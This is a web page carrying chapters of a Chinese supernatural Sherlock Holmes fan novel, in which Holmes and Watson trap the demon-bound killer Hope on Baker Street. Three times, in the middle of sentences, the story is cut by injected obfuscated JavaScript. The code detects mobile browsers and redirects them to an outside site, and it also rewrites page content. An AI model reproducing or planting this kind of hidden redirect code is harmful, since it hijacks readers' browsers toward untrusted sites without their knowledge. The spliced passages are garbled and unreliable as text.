简直更像是把他的灵魂抽了出来，然后塞进地狱之中切实地走过一遍。 但他看看医生安慰他的模样，熟练得像是安抚一个做噩梦惊叫醒来的孩子。 明明他才是资深超凡能力者来着。 雷斯垂德按了按自己的眉心，试图找回自己的专业。 “不，我不是这个意思。” “华生医生，或许你还没有意识到自己见过的是什么。” “那些事物……不，哪怕只是场景也会使人丧失理智，发疯死亡……甚至是求死不能。” “我始终认为这更像是一种会传染的精神疾病。” 约翰不赞同雷斯垂德的观点。 “看似不可战胜，或许只是我们还没有找到最合适有效的解决办法而已，就如我们曾经面对那些肆虐的传染疾病。” “但医生你真觉得，那只是传染疾病吗！” 雷斯垂德不由提高音量。 约翰看着他，“我只是不觉得，有什么事情是不能解决的。” 雷斯垂德忽然有些哑火。 因为他发现对方并不是出于无用的安慰在说这句话，而是带着明显的认真探寻的口吻在提出自己的观点。 当许多和他一样的教会使者看来，都觉得是神罚般束手无策的灵魂污染，在这位医生眼中，仍旧是可以自救的难题。 好像没有什么难关无法跨过，有也不过是他们暂未找寻到正确的道路。 这样为他人着想的坚韧灵魂，如同伫立在人世原地的锚点，只需叫人看上一眼，都一种稳定的安心感。 “好了先生们，我想现在也不是争论这件事的时候。” 歇洛克打断他们对这个话题的争执。 侦探直奔主题。 “现在的重点是，根据斯坦杰逊的死，我们可以得知一些其他的线索。” “华生，能拜托你讲述一下吗？” “我来吗？”约翰说道。 “没错。”歇洛克又一次肯定，“你来说才是最安全的选项。” “等等！”雷斯垂德立马要去拿自己的药。 有一些信息在口头再表达的时候，也有可能造成难以言喻的污染。 “有的时候你的谨慎是无关紧要的，但如果你想，我也不会制止你。” 歇洛克看起来对他的磨蹭有些不耐。 反而是约翰耐心等着他服用完镇定药物，然后提醒他。 “虽然那些药物能够使你安心……不过依照我在前线见到的那些士兵情况来看，这些药物只能一时稳定精神状态，长期、大量服用，极有可能产生不可避免的依赖性。” 将药物咽下的雷斯垂德露出苦笑。 “但如果不吃，我们只会死得更快。” “医生，这就和手术之前使用麻/醉/药物一样，的确有人能忍受手术时的剧痛，清醒着忍受全过程，但那种人实在是少数中的少数。” 他挥挥手，像是暂时不想继续这个话题。 “暂时不讨论这件事了。” “华生医生，请你说说你的发现。” 约翰停顿了一秒，然后开始复述自己刚才看见的场景。 雷斯垂德听得很仔细，但当约翰说他最后看见的，只是一朵红玫瑰从斯坦杰逊的致命伤中生长出来的时候，他不由皱眉。 “你确定只是一朵玫瑰吗？” 而不是大批大批的荆棘，与扭曲如噩梦般的玫瑰丛？ 约翰点头，清楚地用他也能听懂的词句复述了玫瑰口中的话。 “那朵红玫瑰说了一个词。” “‘复仇’。” 雷斯垂德表情有些古怪。 “只是这一个单词？” 他刚才在瞬间接收到的信息太多，其中包含了大量无用的污染讯息。 “真正实用的东西大多都不是很繁琐。” 歇洛克说道： “事实上这个单词就足够揭示很多东西……哦……雷斯垂德，你不信任华生刚才说的信息。” 侦探似笑非笑地看着这位与他合作过多次的警探。 “如果你不信任，又何必再来找到我们咨询。” 雷斯垂德沉默几秒。 “我并未与华生医生合作过，更何况，医生你真的是……” 他似乎想说什么，但又担忧自己如果在此时就脱口而出，会不会造成什么不可挽回的后果。 但对于约翰而言，神秘侧的隐喻还有些过于弯弯绕绕。 他只是略感失落。 “你不相信我说的话也无可厚非，毕竟我只是一个医生，在谋杀案的推理方面还算不上内行。” 眼前的人不管是思维逻辑，还是说话的方式都太过正常，可置身于刚被污浊信息流冲刷过的现场里，这样的正常反而显得不正常起来。 上一次雷斯垂德带领小组成员处理一个看起来更简单案件的时候，也见过死者被污染的伤口。 那刻，所有人都像是被埋进了雪堆里，房屋变成了崩塌的雪块铺天盖地地压下，寒意长出手脚窃喜地拉住他们直至拖进魔鬼所在的深渊。 在魔鬼们轰鸣般的嘲笑声中，也在苏格兰场其他普通人惊恐的视线里，他们小组里的几位新人对着空气又哭又笑，事后当场疯了一个，经医生检查冻死一个，剩下两人紧急接受了心理治疗，还给苏格兰场其他普通同僚进行了深度催眠，以防有超凡生物从被理解的信息中迁越此处。 神秘侧的世界对于人类而言，就是这样不讲道理的危险和恐怖。 哪怕只是尝试着理解神秘信息，也会带来未知的恐怖风险，这也是为什么上层联合福音教会一直在封锁神秘知识的原因。 但此刻，竟然有人堂而皇之地将这些信息直接传递出来，并明确点出了其中的核心。 这开始让他疑神疑鬼，自己是否已经被污染，所以才能避免幻觉幻听，理解信息代表的含义。 现在，雷斯垂德看向先前一直合作，但从未见过面的侦探。 他犹豫了一下，问道：“我能相信吗？” “这可和案件没关系。”歇洛克说道：“所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772475|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以只由你自己判断。” “不，这怎么能说和案件没有关系，‘复仇’……明显和锥伯死亡时身边留下的血字一样。” 雷斯垂德说道： “这个单词和红玫瑰的指向太具有代表性了，是‘暴怒的魔鬼萨麦尔’。” 萨麦尔也不过是人类予以祂们的称呼，而不一定是祂们的本质。 “夏朋婕姐弟胸口的印记是吞吃青苹果的蛇，那是与‘嫉妒的魔鬼利维坦’做了交易的象征，所以的确不是他们杀了锥伯。” “可萨麦尔的使者更喜欢直接杀了自己的对手，又为什么会用毒药这种迂回的方式？” 这也是令雷斯垂德百般不解的地方。 在见到锥伯死因报告的那个瞬间，他已经在脑海里筛选数个被记录在案的利维坦使者，他们大多都是制药和用毒专家。 可没想到追踪到现在，得到的最直观的线索竟然指向凶手是暴怒的使者。 一直静静听着他们对话的约翰忽然开口。 “如果一个人下定决心，并非出于个人的奇怪嗜好想要谋杀他者，那个时候还在乎用什么工具吗？” 雷斯垂德忽然打了个寒战，像是在这个时间掀开掩盖真相的迷雾一角，窥视到了最本质的逻辑链之一。 直至刚才之前，他都陷入了一个惯性知识的盲区之中！ 对于走投无路的人来说，不管是和哪个魔鬼交易，都只是他们的手段，嫉妒的使者更倾向用毒，可不代表他们只会用毒，一如暴怒的使者也并非都是没有大脑，只会鲁莽冲锋的傻瓜一样。 能够区分他们的，除了心口的烙印纹路之外，只有使用能力后支付的代价倾向。 嫉妒的使者必定会品尝令人发狂的落差感，暴怒的使者也必定会感受无能为力之下的狂怒。 “主啊……之前我竟然都没有想到这个关键……” 雷斯垂德喃喃自语着。 一旁的歇洛克则像并不担心的模样。 “找到凶手不过是时间问题。” “不管是魔鬼还是其他什么，其实都无法直接干涉深渊之外的人类世界。” “每个使者，或是彻底堕落的恶魔都有自己专门的仪具和仪式借用力量，我更感兴趣的是，杀害了锥伯和斯坦杰逊的凶手又是利用什么样的方式借用了力量。” 他饶有兴致地说道。 约翰问道：“我们不是已经知道，杀害锥伯的是毒药丸，杀死斯坦杰逊的是匕首？” “这是过分显而易见的表象，华生！”歇洛克提高音量，“但我们需要探寻的是表象之下的内里。” “外神无法亲临人类的世界，而每个使者和恶魔联络祂们的媒介通道都不一样，毫无疑问，能够汲取、偷窃、祈求力量的这份联络都是每个人自己独创的，通道越是稳定，构造越是精巧，得到的力量越强大。我们需要找到的就是这个通道，再将其反向破解。” 约翰想了想，问道：“那问题是，我们要如何找到凶手？” 歇洛克伸出在毛毯下的手，他的掌心里躺着一枚被精心保养的女戒。 这枚戒指已经陈旧，可看得出来，拥有它的主人非常在意和珍惜，所以一直好好保存着。 所以今晚鱼必定咬钩，只是不知道他们能不能搏力成功，将其钓上岸来。 “我们的饵已经准备好，今晚将可以收网。” 12.12 当晚。 贝克街被笼罩于一片朦胧的雾气之中，远处星星点点的煤气灯像黯淡的星辰镶嵌在夜色之中。 借助着黑暗，许多超凡生物开始悄无声息地展开狩猎。 它们会隐藏于文字、画像，乃至类人的皮囊之下，贪婪地盯着人类的灵魂，试图大快朵颐。 到第二天太阳升起的时候，执勤的治安官或许就会发现伦敦街头巷尾又多出了一两具流浪汉的尸体。 但人们会对此习以为常，毕竟现在的伦敦就是这样的城市。 庞大到像随时吞吐着蒸汽，引领国家快速前进的车头，但又因为严丝合缝的细小零件被裹挟着卷入滚滚洪流之中，时而身不由己地生活着，所以感到疏离的冰冷。 雷斯垂德深吸一口气，感受到尼古丁窜进肺部带来的些许轻松，然后他将口中的雾气吐出，最后目视着它逐渐消散。 医师叮嘱他不要过度依赖镇定剂，否则耐药性会让他下次见到更强大的超凡生物，或是污染信息时无法有效控制自己，于是他这两天开始频繁抽烟。 高质量的镇定药剂并不是很容易就能得到，伦敦暗面里多的是买不起镇定剂，只能用烟草稳定自己精神状态的低阶超凡者。 所以，他有时会想，指不定烟草也是主为了让人能够多一条自救的方式而创造出来的神奇植物。 将抽完的烟头扔下，雷斯垂德紧紧盯着不远处亮着灯的221B。 经过治疗，坚持要跟过来的梅森站在队长的身后低声问道： “队长，其他人只守在贝克街其他出入口，会不会不够保险？” 藏身街角的雷斯垂德同样压低了声音。 “即便给了车夫足够数量的灵魂，【无面人的马车】一个月最多只能用三次，否则它可能会把你直接送到满是恶魔和超凡生物的深渊去，我以为这一点你已经很清楚，马车可拉不动一个火车车厢才能容纳的人。” 梅森说道：“但在贝克街动手是不是太冒险了些，除了福尔摩斯先生，住在这个地段的家伙可能会……” “梅森！” 雷斯垂德重重地踩灭地上的烟头。 “住在这里的都是‘居民’！” “如果是居民的话，他们就应当遵守伦敦的、人类的规矩。” 他在冰凉的夜风里呵出一口白气，想起白日时分歇洛克对他说的话，如果不相信的话，那么一开始就没有必要达成合作关系。 这一点不仅适用于人与人之间，其实也在一定程度上适用于人与非人者之间。 “可那个医生还选择住在这里，难不成他也是……”梅森又问。 这回雷斯垂德摇摇头，“不清楚……可我的直觉和我说，华生医生是个好人。” 话题进行到这里，一时间就只剩下了沉默的寂静。 “来了！” 随着雷斯垂德猛然振奋起来的语气，一度陷入沉默的梅森也立马进入紧张的戒备状态，再看向队长目光所视的街头。 借助煤气路灯有限的照明范围，一辆伦敦街头随处可见的公共马车踏着步进入他们的视线之中。 载着车厢前进的轴轮停止了滚动，黑漆漆的密封长方体不知为何叫人联想起不祥的木椁。 最后它停在贝克街221室的面前。 带着毡帽，看起来有六英尺高的男人从驱马的位置上跳下来。 灯光下他的脸色赤红，完全符合侦探之前的推论。 车夫面无表情地收起自己的马鞭，然后敲响了楼下的正门。 坐在客厅里的歇洛克翻过手中魔法大全的一页，完全没有舍友焦躁紧张的模样。 “说真的，歇洛克，你真的确定今晚凶手……就是你说的，叫做霍普的那个人会来吗？” “当然了华生，我已经嘱托维金斯和比利去了消息最容易流通的地方说了，今天黎明之前如果名叫霍普的马车夫不打算来拜访贝克街的话，我就会直接把那枚戒指丢进王水里。” “天哪……你这手段是不是太不近人情了点？！” “特殊情况，特殊对待罢了。” 歇洛克的语气也是平淡，像是并没有将这个问题放在心上。 歇洛克又翻过一页，对他而言，这些书里被称之为禁忌知识的文字，都只能算是打发时间的睡前读物。 现在他简单看过一半，就已经猜出了作者要在后半截表达的内容。 对此他的评价是，不如让作者多去看看现实之中谋划杀人计划的超凡者到底是怎么做的，就算再愚笨的新手，使用的仪具和仪阵也远比书里臆想推论的合理、精巧。 人类的情感内驱可以转化为通道连接着“神明”，并从祂们那里祈求、偷窃、汲取、吞噬着种种力量。 这种通道精巧绚烂得犹如某种举世无双的美丽玩具，拆解它们的过程则是另一种更让他沉迷的推理过程。 但是人类为什么拥有这样的情感内驱，并不在他的思考范围之内。 那是无关紧要的事情，何必浪费时间在这些方面？ 所以必要的时候，利用一些特殊技巧或是方式，激怒或引诱目标咬钩是很必要的。 约翰回头看倒在长椅上，但已经将自己重新收拾整齐的舍友。 自打落水他来救自己后，他觉得自己应当是和歇洛克的距离接近了些，可也许正是因为接近了些，所以才发现他的内心对人类天生怀有的情感很是陌生。 懵懵懂懂的混沌，不分善恶地做出些许模仿的回应。 他走到沙发边的时候，看见歇洛克已经闭上眼睛，双手交叉，以一个算不上祈祷的姿势叠放在自己的腹部，睡姿规整得像是随时能被塞进棺材里举行无人知晓的葬礼。 “歇洛克——” 约翰刚想说话。 “嘘。”歇洛克打断了他。 侦探睁开眼睛，露出昂扬的兴致。 “鱼上钩了。” 敲门声响。 歇洛克已经以算不上礼貌的通知方式，简直可以称之为威胁地公告最后时限。 对方应该算是明知此行对于自己而言十分危险，但还是出现在了这里。 来者抓着自己的毛毡帽，站在了起居室的门口看着他们。 “大名鼎鼎的……福尔摩斯先生，以及旁边这位先生，晚上好。” “我有一枚戒指在您的手上，现在我如约前来取走它。” “我倒是没有想到自己会如此出名。” 歇洛克取出那枚女戒。 “就像没想到此时的你，竟然真的这么在意这枚戒指。” 车夫抬起头，“我原本只是听闻过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773338|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您和贝克街的传说，没想到真的荣获邀请来到此处。” “若是过往的我，恐怕在发现神秘世界真实存在的时候，会欣喜若狂，不顾一切也会想要来到此处。” “但自从失去露茜之后，我才发现那些也不是很重要。” 此刻，他的脸色赤红，一半像是愤怒，一半又像是怨怼。 “年轻时我无数次愤怒于自己的怀才不遇，我坚信自己在神秘学方面天赋异禀，只不过缺少像锥伯那样的深厚家底，所以才无法得到神明的垂怜，于是我转而向恶魔祷告。” 他轻抚了一下自己的心脏部位。 “但连恶魔都没有正眼瞧过我一次。” 车夫露出比哭还要难看一万倍的笑容。 “直到露茜对我说，不要再追逐那些幻影，我们只需要握紧身边最亲近的那个人的手，然后一起生活下去。” “我才明白自己的珍宝就在这里。” 赤红着脸的车夫哽咽。 他的眼里满是愤怒，是对自己的，也是对他者的，还有对高高在上不在此世之神的。 “可她死了！” “可露茜死了！” “锥伯为了魔鬼虚无缥缈的承诺，献祭了她！让斯坦杰逊害死了她！” “而她死后，暴怒的魔鬼反而找到了我，和我做出交易。” 车夫怒吼： “我将自己的灵魂献上！我将完成这次复仇，从此远走高飞，载着露茜的灵魂离开这肮脏的人世！” 他已经快彻底堕落成恶魔，将自己的灵魂完全献给了魔鬼。 可这世界上真的有无忧无虑的天堂吗？ 就算有，当他死后灵魂不再属于自己的时候，又怎么可能做到与自己相爱之人永远相守？ 约翰张开嘴想要说什么，此刻又觉得面对一个愤怒至极的人，什么劝慰的言语都显得很是苍白无力。 但侦探丝毫没有被这些自我内心的剖析打动。 他站在起居室的中心，语气平静地说道： “说完了吗？” “说完的话，还是请霍普先生您的本尊上来一趟比较好。” 车夫的脸色忽然变得有些僵硬起来。 “此刻我就在这里。” 歇洛克微微抬眼，“已经用过一次的戏码，再上演一次就实在无趣，更何况这只是看过一次就能明白其中关键原理的拙劣把戏。” 说到这里，约翰忽地反应过来，眼前的车夫可能也不是他们真正要找的那个人。 正如上次拜访此处的老妇人一样，这也是凶手提前准备的替身。 闻言车夫扯开嘴唇笑了笑。 “那么依您所言。” 楼下的马车车厢里重新走下一位和车夫一模一样的人。 同样六英尺的身高，有着赤红的面色，就连外表上的小细节也别无二样。 与雷斯垂德一起藏身街角的梅森有些按捺不住。 他低声说道：“队长！这应该是就是那个侦探说的真实凶手了吧！” 雷斯垂德按住他的肩膀，语气更加沉稳。 “再等等，福尔摩斯还没有发信号，只有等戒指被扔出来时，反应最大的那家伙才是真正的凶手霍普。” “要不然我们极有可能打草惊蛇，反让凶手逃出去。” 13.13 贝克街221B起居室的门再度被敲响，走进门的毫无疑问的是第二个霍普。 只不过眼前这个赤面男人将自己裹得更加严实，像是并不希望暴露于其他人的视野中。 约翰看着眼前几乎可以称之为双胞胎的面容，惊讶这几个字已经写在了他的脸上。 “福尔摩斯先生的敏锐果然名不虚传。” 第二个霍普开口后，之前进门的车夫就不再言语，像是被抽出了运转中枢的人偶一样，动也不动地僵在原地。 约翰又一次看看歇洛克，这次主要看是看向他手中那枚迟迟没有丢出去的戒指。 按照他们事先的约定，只要歇洛克将戒指扔出窗外，就是给藏在街角的雷斯垂德他们发出信号，那个时候他们将直接给霍普一个措手不及的逮捕结局。 但此时，歇洛克似乎完全没有要扔出戒指的意思。 霍普紧紧盯着侦探，“那么正如福尔摩斯先生所言，站在这里已然是我的诚意，现在可以将戒指还给我了吗？” 歇洛克不为所动，甚至连视线也没有多分给面前恍若双胞胎的两人。 他说，“如果你的诚意只是让第二个傀儡登门拜访，那么霍普先生，你的这份诚意未免也太廉价了些。” 约翰一惊，猛地看向起居室门口的两人。 歇洛克走到窗边，摊开掌心，露出那枚戒指。 “既然你不在乎它。” 他看起来真的是一点也不在乎这枚对他人充满特殊意义的戒指。 “那么玩笑一样的见面可以就此终止。” 那枚戒指像是划破天际的流星，从楼上坠落，即将落到满是污水的街边泥地之中。 站在起居室门边的两只傀儡立马往窗边冲来，约翰发誓自己从他们僵硬的脸上，和细枝末节的动作里，看到了隐藏的愤怒。 可他们一踏入起居室，平日里没有显现的仪阵就如同嗅到了受伤时坠入深海的猎物。 无形的鲨鱼们张开血盆大口，朝着新鲜的猎物咬去。 只不过是刹那的时间，这两个“霍普”就像触碰到王水的金属迅速软化分解，化作一滩具有玫瑰气息的赤红液体流淌到起居室的地毯上。 液体一接触地摊，就发出被强烈腐蚀的呲啦声。 约翰往后倒退几步，避开那些液体流淌的范围。 站在他旁边的歇洛克抽空还先收集了一些液体，装进餐桌上摆放的玻璃瓶里，然后才略带上嫌弃地看向他们那张被腐蚀得坑坑洼洼的地毯。 “早知道我们应该先用旧地毯来接待。” 不过地毯下方的地板在接触到那些液体时，完全没有被腐蚀的迹象，反而直接将那些奇异的液体全部吸收，使其看起来完全不见踪影，最后只留一张满是破洞的毛毯摊开在地面上。 约翰感觉自己的大脑此刻一片混乱。 “天哪！歇洛克！霍普他……死了？！” “不不不，你说这两个都是人偶，那霍普今晚是没有来吗？” “他当然来了。” 侦探说道，顺带动作丝滑地将玻璃瓶叮叮当当放在桌上的时候，就按下最靠近手边的黄铜仪器把手。 犹如火车被点燃发动机，又像多米诺牌被推倒第一张。 桌上看起来杂乱无章的仪器们，此时竟然开始了有条不紊地运转。 歇洛克说道，“这下等我们回来，就能看到那些液体的成分是什么。” 当然，他做这些事情的时候动作太流畅，好像事先就设计好蓝图，只等霍普自己将材料送上门来。 他在行云流水之间只花了不到一分钟的时间，就已经处理好一切，然后站在窗边往下看。 “看，那才是真正的霍普。” 约翰三步并两步冲到窗边，看见街边那匹毛色不纯的花色骏马焦急地扬起自己的前蹄，仿佛人类慌乱要接住什么抛物而张开双臂一样。 但它已然失去了双手抓握的功能，只能徒劳地看着那枚戒指在自己面前滚落。 花色的马慌乱地低头要将那枚戒指咬回来，可那枚戒指恰好落在排水的沟渠里，不停地快速往前滚动着。 约翰看着那一小点银白的亮光逐渐要被黝黑的排水口吞没。 那匹马儿的焦急慌乱太过明显，明显到只需要看一眼就能猜出它的真实身份，就是他们要找的凶手霍普。 它此时唯一的念想，似乎只剩下将戒指找回来。 污水已经打湿弄脏了毛发，但它浑不在意。 眼看就要将那枚戒指叼回来，可约翰心头一紧，感觉自己像是看见那枚戒指的滚动速度变得更快了一些。 就像有只无形的手，带着恶意的愉悦，悄悄推动了戒指。 于是那点银光，就这么眼睁睁地消失在黑暗之中。 花色的马匹发出悲鸣一样的嘶吼。 歇洛克看着下方说道：“和魔鬼作出交易，只会输得越来越多，毕竟祂们从来没有人类的怜悯和同理之心。” 说着他单手撑着窗沿，就要直接跳下去。 约翰在后面拉住他。 “等等歇洛克！这么去太危险了！带上左轮！” “这我可不需要。” 侦探说这话的时候，简直更像一名间谍特工。 他拍拍约翰的手，示意他松开。 “但是约翰你暂时还是不要出来比较好，这条街上的住客不是每一个都像哈德森太太那么好说话。” “一旦在休息的时候被吵醒，有可能就会大发雷霆。” “不过这间公寓会保护你，只要你不主动出来。” 说完，他单手一撑，以格外敏捷的方式直接跳窗而下。 约翰在他身后不由低声怒骂了一句。 “我的主！他怎么这么不爱护自己！” 但当他看见四周住宅房屋里隐隐亮灯后的身影时，他才发现街上似乎汇聚着更多平时看不见的生物。 渴求着残存新鲜灵魂的恶魔与超凡生物们来到这里，虎视眈眈地盯着愤怒哭泣的花马。 它们不会因它眼里的泪珠而动容，只会思索怎样才能抢走一缕灵魂填饱空空如也的胃。 但它们也不会贸然在这里出手。 敏锐的恶魔和超凡生物都能感知到这条街道的可怕气息很多，稍有不慎率先打破宁静，可能会先成为被枪/打的出头鸟。 约翰在起居室的窗户前，架起自己的手/枪为歇洛克做掩护。 他感觉得到自己的掌心全是湿漉漉的冷汗。 普通的子弹不一定对那些生物有效，所以他换上了在前线难得获得的秘银子弹。 那边的歇洛克从屋檐上落地的时候，雷斯垂德与梅森已经冲出了街角。 雷斯垂德没有丝毫保留，出手就是最强的力量。 三阶使者唤来的狂风威力大得惊人，街道上瞬间飞沙走石，搅得雾气更是浑浊不堪。 但那些雾气里、黑暗中的视线仍旧紧盯着他们，像是贪婪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784036|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的豺狼对着新鲜的肉食露出垂涎欲滴的食欲。 只不过碍于它们惧于不远处的猎枪，所以不敢立马扑上前来撕咬。 可一旦本能的贪欲压过了不够多的恐惧，雷斯垂德和梅森就会立马陷入被围攻的境地。 “把它往入口赶！”雷斯垂德喊道。 那里有他们的接应。 梅森在风里应了一声。 他没有队长实力强大，作为二阶，他的超凡力量能做到的是，迅速拉近和目的地的距离。 只需跨出一步，就像瞬间跨出几米的距离。 带人载物同样可以做到，只是在实力不够强的时候，这样的消耗更明显。 在位处深渊-5的贝克街85号向后的地带移动，消耗了他大量的精力。 被风搅动的雾气里是怪异的安静。 散发着强烈恶意与食欲的存在，正窥视着他们。 路灯的铁柱此刻变得柔软，好似一条又一条的触手随风摇晃着想要抓住什么。 梅森不清楚这是噩梦还是启示，现在他唯一能做的，只有在心中向主祷告，祈求天使的守护。 然后他向着记忆里贝克街的出入口而去。 但就在这时，有人猛地扯住了他的后衣领。 动作丝毫谈不上温柔，甚至在那个瞬间因为冲力勒得他险些窒息，但成功阻止了他继续向前的动作。 随后才是雷斯垂德的喊声冲进他的耳朵里。 “梅森！停下！停下！” 雷斯垂德像是已经喊了很长时间，可他竟然直到现在才反应过来。 他的确是带着队长和霍普冲向了贝克街的出入口，但不知何时他的航向路线偏移了一定的角度，再往前冲去就到了一只形似巨大腐烂霸王花的花心面前。 就在他后背满是冷汗的时候，花心之中数条苍白的双臂猛地冲出，往他这里抓来。 砰——！！！ 破空而出的子弹像银色的飞鸟掠过他们三人，带着希望的银色火焰点燃了面前的超凡生物。 这是一颗针对恶魔和超凡生物都有奇效的秘银子弹，按理说在深渊里它的效果会减弱，但此刻它竟然强到直接点燃了这朵腐烂的霸王花。 歇洛克抬起头看向那间公寓，看见窗口处还伫立着一个在雾里看起来最清晰的人影。 此刻他手中的枪口还闪烁着明亮不变的银光。 燃烧的巨大花朵发出刺耳的尖叫，这惊扰了暗处的其他生物，它们意识到这里远有比自己更强大的猎手，继续待下去反而会让自己变成猎物。 浑浊的雾气似乎变得澄澈了些，贝克街重新变得安静下来。 雷斯垂德和梅森满是冷汗地看向四周，惊恐地发现他们几秒之前的确刚与死亡擦肩而过。 “虽然你们的设想很不错，可如此相信一个新人的理智情况，未免也太自负了些。” 歇洛克松开手，任凭梅森四肢瘫软地倒在地上。 雷斯垂德喘着粗气，无力继续维持自己的力量。 狂风渐渐平歇，雾气重新将四周笼罩起来。 他也没想到今晚暗中危险竟如此之多，多到让平时精神稳定的梅森也受到了影响，如果没有侦探和医生的出手相助，他和梅森估计就会变成了一顿还算美味的饵料。 眼下这位虽然刚救了人，但完全没有放在心上的侦探走到目光空洞的花马面前，然后低头和它说道： “现在我们能好好谈一谈了吗，霍普先生？” 14.14 毛色斑驳的马匹看着他，又像是在看着更加遥远的方向。 某只受了伤没有聚焦的眼瞳里，仿佛已经完全失去了人类应有的感情波动，如同燃烧殆尽的篝火只余些许呛人的黑色灰烬。 雷斯垂德吞下一颗镇定药，然后拄着墙站起来。 “能看出它借用力量的媒介，是什么仪式或是仪具吗？” 找到凶手对于眼前的侦探来说不是难事，甚至对于具有各种超凡能力的使者而言也不是难事。 难的是，如何准确找出他们从魔鬼那里得到力量的渠道。 “霍普距离成为超凡者的时间不过一个月不到，但他竟然能够直接直接调配足以杀死超凡能力者的毒药和工具。” “获得如此之多的超凡知识，那就意味着要加倍抵押给那群‘神明’更多的报酬。” 歇洛克说道： “所以他连身躯都一并抵押了出去。” 变成一匹无法直接开口说话的马匹。 他看着这匹马，然后伸手。 “至于你说的仪具。” “伤口里会长出玫瑰……明明没有受伤，但依旧留有痕迹的东西，就是谜题最后的答案。” 花马赤红的右眼猛地不自然地转动起来。 左眼明明还看着街角排水口的位置，右眼却自动转了几圈，紧紧盯着面前的侦探，像是要透过他的皮囊打量里面藏着什么样的灵魂。 歇洛克目不斜视，像是丝毫没有恐惧地探进它的眼眶中，再攥紧那颗仍旧盯着他的眼珠往外拉扯。 没有血管、没有神经，被牵扯出的只有类似藤蔓荆棘，还在蠕动的生物。 它们密密麻麻分布在小小的眼珠后方，像是汲取宿主身体里的养分，供给着这颗不属于霍普本身的眼球。 雷斯垂德和梅森看得头皮发麻，刚服用镇定剂后逐渐恢复平缓心跳的心脏此刻又开始加速，好像在预警催促着他们赶快闭上眼，阻断这邪异的画面继续刺进脑海。 那些蠕动的茎条仿佛想把那颗眼珠从他手中抢回来。 但又像恐惧着什么，踌躇着不敢向前。 花马的身体抽搐起来，为了争夺眼球的所属，这具躯壳和灵魂一样也快被彻底榨干。 歇洛克看了它一眼，最后像是摘下一颗果实一样将赤红的眼球彻底摘下。 仿佛离开营养源头的瞬间，这颗眼珠就失去了活性，与此同时，那些狰狞蠕动的茎条也随之一并枯萎，只在马匹的身上留下一个黑漆漆并不流血，也无法被治愈的伤口。 似乎是品尝过这悲哀灵魂里最后愤怒与绝望感情的魔鬼并没有和他们照面，就已经悄然离去。 雷斯垂德忽然感觉一阵莫大的哀痛和脱力一样的失落。 他站在不能言语的花马面前，更像是站在不再与他言语的墓碑面前。 “这值得吗？” 明明还有一只眼睛，可它只是用漆黑空洞给予回应。 鲜活的灵魂被压榨一空，如同美味的菜肴被魔鬼们吞食，只留下徒有外表的空虚躯壳站在原地。 歇洛克将那只失去活性的赤红眼球装进出门前带上的玻璃瓶中，然后将那个瓶子扔向雷斯垂德他们。 “里面的仪阵已经被我破坏，现在这只眼睛不再具有仪具的作用，只能作为炼金的材料使用。” 雷斯垂德接住那只玻璃瓶，听到这话反而松了口气。 “如果还有活性，反而还需要考虑能不能成功收容……算了，现在已经是万幸。” 倒不如说，因为请侦探帮忙，反而将人员的损失降低到了最小。 就在这时，他们背后传来急促的脚步声。 雷斯垂德还在疑惑，这个时间点竟然还有住民出现在贝克街85号向后的道路上时，梅森的低声惊呼响起在他耳旁。 “华生医生！” 雷斯垂德猛然想起他刚才那发关键的子弹。 “医生，多谢了……你的枪法简直好到令我觉得吃惊，也没想到你居然会冒着生命危险出手帮忙。” 而不是恐惧于那些潜在的危机，默不作声只能祈祷长夜速速过去。 “多谢你的出手相救，华生医生。”梅森也低下头。 约翰还拿着他的左轮，此刻听见他们的话反而觉得有些不好意思起来。 “只不过是尽我所能而已。” 歇洛克看着他，“不过外面这么危险，你出来后屋里的那些仪阵就无法继续保护你。” 约翰气不打一处来，“难道不是因为你们这么长时间也没有回来报声平安？！” 歇洛克一愣，“还有这个流程吗？” “作为朋友，总不可能眼睁睁看着你去危险的地方，在没有确认安全之前就完全了无心事地入睡吧！” 歇洛克陷入沉思。 “朋友……这样吗……” “那个——总之，非常感谢两位的帮助。” 雷斯垂德赶紧出声说道： “虽然现在我们要找的凶手和预计的情况不太一样，但我们还是要将它带走。” 歇洛克还低着头沉思，所以看上去很不在意地挥挥手。 雷斯垂德犹豫了一下，还是说道： “至于报酬……过两天我们会给您送来的，福尔摩斯先生。” “那些报酬对于我而言并不是首位的。” 歇洛克说道。 “更何况该头疼的是你们要如何向大众解释，杀害了锥伯和斯坦杰逊的凶手竟然是‘一匹马’这件事。” “超凡知识不可泄露，但你们又不能不给出‘一个合理的解释’。” 雷斯垂德眉间的皱痕更深了。 他下意识又想去摸口袋里的镇定剂或者香烟。 “哦——听起来就像我写日记……我是说小说。” 